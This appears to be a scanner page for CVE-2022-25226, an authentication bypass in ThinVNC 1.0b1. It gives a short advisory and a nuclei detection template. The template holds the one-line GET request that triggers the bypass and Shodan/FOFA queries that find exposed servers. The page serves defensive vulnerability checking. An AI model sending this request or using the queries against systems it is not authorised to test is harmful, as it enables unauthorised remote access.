ThinVNC - Authentication Bypass

criticalseverity

10CVSS score

11%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via a specific command, potentially leading to unauthorized access and code execution.

Impact

An attacker can bypass authentication and gain unauthorized access to the ThinVNC server.

Fix

Apply the vendor-supplied patch or update to the latest version to mitigate the CVE-2022-25226 vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cmd?cmd=connect
Positive when: contains "cmd\":\"connectStatus" and "authStatus\":1" AND status 200

Run it with nuclei: nuclei -id CVE-2022-25226 -u <target>

The full check

id: CVE-2022-25226

info:
  name: ThinVNC - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via a specific command, potentially leading to unauthorized access and code execution.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the ThinVNC server.
  remediation: |
    Apply the vendor-supplied patch or update to the latest version to mitigate the CVE-2022-25226 vulnerability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-25226
    epss-score: 0.10989
    epss-percentile: 0.95934
    cpe: cpe:2.3:a:cybelsoft:thinvnc:1.0:b1:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: cybelsoft
    product: thinvnc
    shodan-query: http.favicon.hash:-1414548363
    fofa-query: icon_hash="571240285"
  tags: cve,cve2022,thinvnc,auth-bypass,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cmd?cmd=connect"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'cmd":"connectStatus'
          - 'authStatus":1'
        condition: and

      - type: status
        status:
          - 200

Use this check only on systems you are authorised to test. Where the data comes from